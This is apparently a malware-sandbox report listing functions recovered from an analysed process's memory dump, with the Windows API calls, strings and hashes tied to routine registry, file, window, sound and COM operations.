Opcode Fuzzy Hash: 9771dc8bbe4a94ac27d5e6bb70faa28b68322bcf0cc6c9cd732cc5bdb7dcaf63
Instruction Fuzzy Hash: 854127729842017ADB00A770AC03EFF77ECDF567A0F10256AF901FA192EB30E90196A5

Function 00ECCC34 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 104registryCOMMON

Download Yara Rule

APIs

RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00ECCC64
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?,00000000), ref: 00ECCC8D
FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00ECCD48

Part of subcall function 00ECCC34: RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 00ECCCAA
Part of subcall function 00ECCC34: LoadLibraryA.KERNEL32(advapi32.dll,?,?,00000000), ref: 00ECCCBD
Part of subcall function 00ECCC34: GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00ECCCCF
Part of subcall function 00ECCC34: FreeLibrary.KERNEL32(00000000,?,?,00000000), ref: 00ECCD05
Part of subcall function 00ECCC34: RegEnumKeyExW.ADVAPI32(?,00000000,?,000000FF,00000000,00000000,00000000,?,?,?,00000000), ref: 00ECCD28

RegDeleteKeyW.ADVAPI32(?,?), ref: 00ECCCF3

Strings

advapi32.dll, xrefs: 00ECCCB8
RegDeleteKeyExW, xrefs: 00ECCCC9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Library$EnumFree$AddressCloseDeleteLoadOpenProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2734957052-4033151799
Opcode ID: 47313d79c2dce7d96feeb668c97ac6978b1055418bb5b8cca99fdbeff1f85811
Instruction ID: 142fb7362b4672e9a8a3cbdb9b361fa93c6b0d7837166fd4f75684416b5c66c0
Opcode Fuzzy Hash: 47313d79c2dce7d96feeb668c97ac6978b1055418bb5b8cca99fdbeff1f85811
Instruction Fuzzy Hash: 6D318671902129BFDB209B51DD88EFFBF7CEF15744F204169E90AF2140D7349A46DAA1

Function 00EB3D1E Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00EB3D40
_wcslen.LIBCMT ref: 00EB3D6D
CreateDirectoryW.KERNEL32(?,00000000), ref: 00EB3D9D
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00EB3DBE
RemoveDirectoryW.KERNEL32(?), ref: 00EB3DCE
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00EB3E55
CloseHandle.KERNEL32(00000000), ref: 00EB3E60
CloseHandle.KERNEL32(00000000), ref: 00EB3E6B

Strings

\??\%s, xrefs: 00EB3D5B
\, xrefs: 00EB3D77
:, xrefs: 00EB3D82

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove_wcslen
String ID: :$\$\??\%s
API String ID: 1149970189-3457252023
Opcode ID: b12a4dadce9e92844c5b2e246ef2f6e50b35ef080561d0ce3b332c5ec0cd93c3
Instruction ID: 98b7c84c688a2347e07fb75a86ab7209d658ecbd7d825e6582c5f8c97725a8dd
Opcode Fuzzy Hash: b12a4dadce9e92844c5b2e246ef2f6e50b35ef080561d0ce3b332c5ec0cd93c3
Instruction Fuzzy Hash: 9631A57194021AABDB209BA1DC49FEF37BDEF88744F5051A6F505F6060E7709744CB24

Function 00EAE6B0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON

Download Yara Rule

APIs

timeGetTime.WINMM ref: 00EAE6B4

Part of subcall function 00E5E551: timeGetTime.WINMM(?,?,00EAE6D4), ref: 00E5E555

Sleep.KERNEL32(0000000A), ref: 00EAE6E1
EnumThreadWindows.USER32(?,Function_0006E665,00000000), ref: 00EAE705
FindWindowExW.USER32(00000000,00000000,BUTTON,00000000), ref: 00EAE727
SetActiveWindow.USER32 ref: 00EAE746
SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 00EAE754
SendMessageW.USER32(00000010,00000000,00000000), ref: 00EAE773
Sleep.KERNEL32(000000FA), ref: 00EAE77E
IsWindow.USER32 ref: 00EAE78A
EndDialog.USER32(00000000), ref: 00EAE79B

Strings

BUTTON, xrefs: 00EAE719

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
String ID: BUTTON
API String ID: 1194449130-3405671355
Opcode ID: d86733227b8e44673365a9e160c79fa6a5c5e50dbd384d7f03bb3930bcffefa0
Instruction ID: 24c0668b0b7fa3e24d34d3aed7421e884e76efb6cabdda9182de1c5ac10258fa
Opcode Fuzzy Hash: d86733227b8e44673365a9e160c79fa6a5c5e50dbd384d7f03bb3930bcffefa0
Instruction Fuzzy Hash: 9B21C670301209AFEB005F71FC89B653BA9F79A788F216426F511B62E1DB71BC14EA25

Function 00EAE9FC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 71COMMON

Download Yara Rule

APIs

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

mciSendStringW.WINMM(status PlayMe mode,?,00000100,00000000), ref: 00EAEA5D
mciSendStringW.WINMM(close PlayMe,00000000,00000000,00000000), ref: 00EAEA73
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00EAEA84
mciSendStringW.WINMM(play PlayMe wait,00000000,00000000,00000000), ref: 00EAEA96
mciSendStringW.WINMM(play PlayMe,00000000,00000000,00000000), ref: 00EAEAA7

Strings

play PlayMe, xrefs: 00EAEAA2
play PlayMe wait, xrefs: 00EAEA91
open , xrefs: 00EAEA0C
alias PlayMe, xrefs: 00EAEA36
close PlayMe, xrefs: 00EAEA6E, 00EAEA9B
status PlayMe mode, xrefs: 00EAEA58

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: SendString$_wcslen
String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
API String ID: 2420728520-1007645807
Opcode ID: aa097e1a97246b1e42a448f98b2e373570a60edde66379bb9de129c40cc77e9e
Instruction ID: 25010fb5920d0fcaa49ee53d916b4caf623c0e37ea5100faf51f384cdc67a17e
Opcode Fuzzy Hash: aa097e1a97246b1e42a448f98b2e373570a60edde66379bb9de129c40cc77e9e
Instruction Fuzzy Hash: BC11A331A902597DE720A7A1EC4AEFF6BBCEBD6B04F001429B411F60D1EE705914D5B1

Function 00EA5CC6 Relevance: 18.2, APIs: 12, Instructions: 173COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 00EA5CE2
GetWindowRect.USER32(00000000,?), ref: 00EA5CFB
MoveWindow.USER32(?,0000000A,00000004,?,?,00000004,00000000), ref: 00EA5D59
GetDlgItem.USER32(?,00000002), ref: 00EA5D69
GetWindowRect.USER32(00000000,?), ref: 00EA5D7B
MoveWindow.USER32(?,?,00000004,00000000,?,00000004,00000000), ref: 00EA5DCF
GetDlgItem.USER32(?,000003E9), ref: 00EA5DDD
GetWindowRect.USER32(00000000,?), ref: 00EA5DEF
MoveWindow.USER32(?,0000000A,00000000,?,00000004,00000000), ref: 00EA5E31
GetDlgItem.USER32(?,000003EA), ref: 00EA5E44
MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 00EA5E5A
InvalidateRect.USER32(?,00000000,00000001), ref: 00EA5E67

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Window$ItemMoveRect$Invalidate
String ID:
API String ID: 3096461208-0
Opcode ID: 62cbb7ad48e20fd52f67604d292e2b6f200e2c2d047a11ffb05f27c2169bb0ff
Instruction ID: 9aa5039e65a423d05c80dd12941d5ceaaa360197c51be19ff4eae2833b1a6380
Opcode Fuzzy Hash: 62cbb7ad48e20fd52f67604d292e2b6f200e2c2d047a11ffb05f27c2169bb0ff
Instruction Fuzzy Hash: 6D512DB1A00606AFDF18CF69DD89AAEBBB5FB49740F209129F515F6290D770AE04CB50

Function 00E58BCD Relevance: 18.2, APIs: 12, Instructions: 168timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00E58F62: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00E58BE8,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E58FC5

DestroyWindow.USER32(?), ref: 00E58C81
KillTimer.USER32(00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E58D1B
DestroyAcceleratorTable.USER32(00000000), ref: 00E96973
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E969A1
ImageList_Destroy.COMCTL32(?,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000,?), ref: 00E969B8
ImageList_Destroy.COMCTL32(00000000,?,?,?,?,?,?,?,?,00000000,?,?,?,?,00E58BBA,00000000), ref: 00E969D4
DeleteObject.GDI32(00000000), ref: 00E969E6

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 2ef4d4add92141dbb38d121a37643de85c4b709a1760aea4edbcea70831fff30
Instruction ID: bcb999d4409d5c7823d8e7242d8a5f359d4f96cbb37867e3edd021f8c2a65c13
Opcode Fuzzy Hash: 2ef4d4add92141dbb38d121a37643de85c4b709a1760aea4edbcea70831fff30
Instruction Fuzzy Hash: B661BD30102605DFDF219F25DA48BA9B7F1FB4036AF11A91EE542BA560CB71AC88DF91

Function 00E59838 Relevance: 18.1, APIs: 12, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 00E59944: GetWindowLongW.USER32(?,000000EB), ref: 00E59952

GetSysColor.USER32(0000000F), ref: 00E59862

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 20dd3a74a76edf4e24e551a7a2285e988b729d5ee1c6cffbe60c678edabb414b
Instruction ID: 95a5e341e01231a7c0c0d44c2401a66ab57d146b92bc0b00bbafa5b56988d5d6
Opcode Fuzzy Hash: 20dd3a74a76edf4e24e551a7a2285e988b729d5ee1c6cffbe60c678edabb414b
Instruction Fuzzy Hash: 1B41B131105610DFDF245F39AC84BF93BA5EB06376F245A06FAA2AB1E2C7309C49DB10

Function 00E78D45 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Strings

., xrefs: 00E7903A, 00E78FD0, 00E78FF2

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-3963672497
Opcode ID: 1addaeb056a19e08121e9d66ce074e917d78f1148585f28ca469f42fb299d883
Instruction ID: 01b15b178c08e32abd94f0ceea9bf65856c3ced2908146a2ba4fb7a69d4c1d28
Opcode Fuzzy Hash: 1addaeb056a19e08121e9d66ce074e917d78f1148585f28ca469f42fb299d883
Instruction Fuzzy Hash: 2FC10274A44249AFCB11DFA8E845BEDBBF0AF5A314F189199F518B7392CB308941CB61

Function 00EA96E2 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,?,?,00E8F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?), ref: 00EA9717
LoadStringW.USER32(00000000,?,00E8F7F8,00000001), ref: 00EA9720

Part of subcall function 00E49CB3: _wcslen.LIBCMT ref: 00E49CBD

GetModuleHandleW.KERNEL32(00000000,00000001,?,00000FFF,?,?,00E8F7F8,00000001,0000138C,00000001,?,00000001,00000000,?,?,00000000), ref: 00EA9742
LoadStringW.USER32(00000000,?,00E8F7F8,00000001), ref: 00EA9745
MessageBoxW.USER32(00000000,00000000,?,00011010), ref: 00EA9866

Strings

Error: , xrefs: 00EA981D
Line %d (File "%s"):, xrefs: 00EA978F
Line %d:, xrefs: 00EA97A0
^ ERROR, xrefs: 00EA97FB
%s (%d) : ==> %s: %s %s, xrefs: 00EA984A

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: HandleLoadModuleString$Message_wcslen
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 747408836-2268648507
Opcode ID: 17db5233b94d35bf7f801d70fae7e851b2159bdddc8632d7e5605ef02f497b40
Instruction ID: 9d7710d0b9c4e36a0b0cdfe798123ed66401c4f342068e0054a7cc9f7d834afb
Opcode Fuzzy Hash: 17db5233b94d35bf7f801d70fae7e851b2159bdddc8632d7e5605ef02f497b40
Instruction Fuzzy Hash: 98413E72900219AADF04EFE0ED86DEEB7B8AF59340F601065F60576092EB356F48DB61

Function 00EA06DE Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 00E46B57: _wcslen.LIBCMT ref: 00E46B6A

WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00EA07A2
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00EA07BE
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00EA07DA
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00EA0804
CLSIDFromString.OLE32(?,000001FE,?,SOFTWARE\Classes\), ref: 00EA082C
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00EA0837
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00EA083C

Strings

\CLSID, xrefs: 00EA0724
\IPC$, xrefs: 00EA0784
SOFTWARE\Classes\, xrefs: 00EA070E

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 323675364-22481851
Opcode ID: 1fbdc5a30241af7cdc291507b4a278bedba895f3ec3e06162eab853bb19ad72f
Instruction ID: 756f7f10579faed60af4d3b4397abe69d804afd61b8f6567174477b81f365f65
Opcode Fuzzy Hash: 1fbdc5a30241af7cdc291507b4a278bedba895f3ec3e06162eab853bb19ad72f
Instruction Fuzzy Hash: C2411A72C00129AFDF15EBA4EC858EEB7B8FF48754B145125E901B71A1DB30AD04CB90

Function 00EC3C30 Relevance: 16.8, APIs: 11, Instructions: 344fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00EC3C5C
CoInitialize.OLE32(00000000), ref: 00EC3C8A
CoUninitialize.OLE32 ref: 00EC3C94
_wcslen.LIBCMT ref: 00EC3D2D
GetRunningObjectTable.OLE32(00000000,?), ref: 00EC3DB1
SetErrorMode.KERNEL32(00000001,00000029), ref: 00EC3ED5
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,?), ref: 00EC3F0E
CoGetObject.OLE32(?,00000000,00EDFB98,?), ref: 00EC3F2D
SetErrorMode.KERNEL32(00000000), ref: 00EC3F40
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00EC3FC4
VariantClear.OLEAUT32(?), ref: 00EC3FD8

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize_wcslen
String ID:
API String ID: 429561992-0
Opcode ID: ab525d899641167c4a004335f1f49e8d3f7888f7d1d6acba1369d3072b0a5dcf
Instruction ID: 4d04f891bb24805ac19e079fcdb2a08524992640cee4515d3d5d9aa935b6f4b9
Opcode Fuzzy Hash: ab525d899641167c4a004335f1f49e8d3f7888f7d1d6acba1369d3072b0a5dcf
Instruction Fuzzy Hash: 3AC113716083019F9700DF68C984E6BBBE9FF89748F10991DF98AAB251D731ED06CB52

Function 00EB7A96 Relevance: 16.8, APIs: 11, Instructions: 298comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00EB7AF3
SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 00EB7B8F
SHGetDesktopFolder.SHELL32(?), ref: 00EB7BA3
CoCreateInstance.OLE32(00EDFD08,00000000,00000001,00F06E6C,?), ref: 00EB7BEF
SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 00EB7C74
CoTaskMemFree.OLE32(?,?), ref: 00EB7CCC
SHBrowseForFolderW.SHELL32(?), ref: 00EB7D57
SHGetPathFromIDListW.SHELL32(00000000,?), ref: 00EB7D7A
CoTaskMemFree.OLE32(00000000), ref: 00EB7D81
CoTaskMemFree.OLE32(00000000), ref: 00EB7DD6
CoUninitialize.OLE32 ref: 00EB7DDC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize
String ID:
API String ID: 2762341140-0
Opcode ID: 2b60e3dcd6f08529f576f3cd94e786e843e1ef55b87adb2acb97046fdcf487e9
Instruction ID: 482aebb42f00eca01547aaf749eaf7affefd315bc0630d05aff1776204a3cfd0
Opcode Fuzzy Hash: 2b60e3dcd6f08529f576f3cd94e786e843e1ef55b87adb2acb97046fdcf487e9
Instruction Fuzzy Hash: E5C15A74A04109AFCB04DFA4D884DAEBBF9FF88344B149499E859EB761C730ED45CB90

Function 00ED541D Relevance: 16.7, APIs: 11, Instructions: 191windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00ED5504
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED5515
CharNextW.USER32(00000158), ref: 00ED5544
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00ED5585
SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00ED559B
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00ED55AC

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 928830bf6e96702ab88693edbb37c7fe01a9bfa06dff8f4634e7d946613f39a6
Instruction ID: b36c146dc1d689201712b305ea480b974bdf0ce6650046c1cc994af990970506
Opcode Fuzzy Hash: 928830bf6e96702ab88693edbb37c7fe01a9bfa06dff8f4634e7d946613f39a6
Instruction Fuzzy Hash: 39618D32901609EFDB108F55DC849FE7BB9EB05764F10514BF935BA390D7708A82DB62

Function 00E9FA88 Relevance: 16.6, APIs: 11, Instructions: 122memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00E9FAAF
SafeArrayAllocData.OLEAUT32(?), ref: 00E9FB08
VariantInit.OLEAUT32(?), ref: 00E9FB1A
SafeArrayAccessData.OLEAUT32(?,?), ref: 00E9FB3A
VariantCopy.OLEAUT32(?,?), ref: 00E9FB8D
SafeArrayUnaccessData.OLEAUT32(?), ref: 00E9FBA1
VariantClear.OLEAUT32(?), ref: 00E9FBB6
SafeArrayDestroyData.OLEAUT32(?), ref: 00E9FBC3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E9FBCC
VariantClear.OLEAUT32(?), ref: 00E9FBDE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00E9FBE9

Memory Dump Source

Source File: 00000007.00000002.3852205124.0000000000E41000.00000020.00000001.01000000.00000009.sdmp, Offset: 00E40000, based on PE: true

Associated: 00000007.00000002.3852179963.0000000000E40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000EDC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852269897.0000000000F02000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852372411.0000000000F0C000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.3852397881.0000000000F14000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_e40000_cb428cafc9.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: b543d504fb3ee7c52ae182ce244d8a6a6701e98c0f48f7accbb5a2bbb7330d96
Instruction ID: 2c6c6a232b428d372e0ad810e7015b19fdb2c38a9cff2e277acd7261e7dc7088
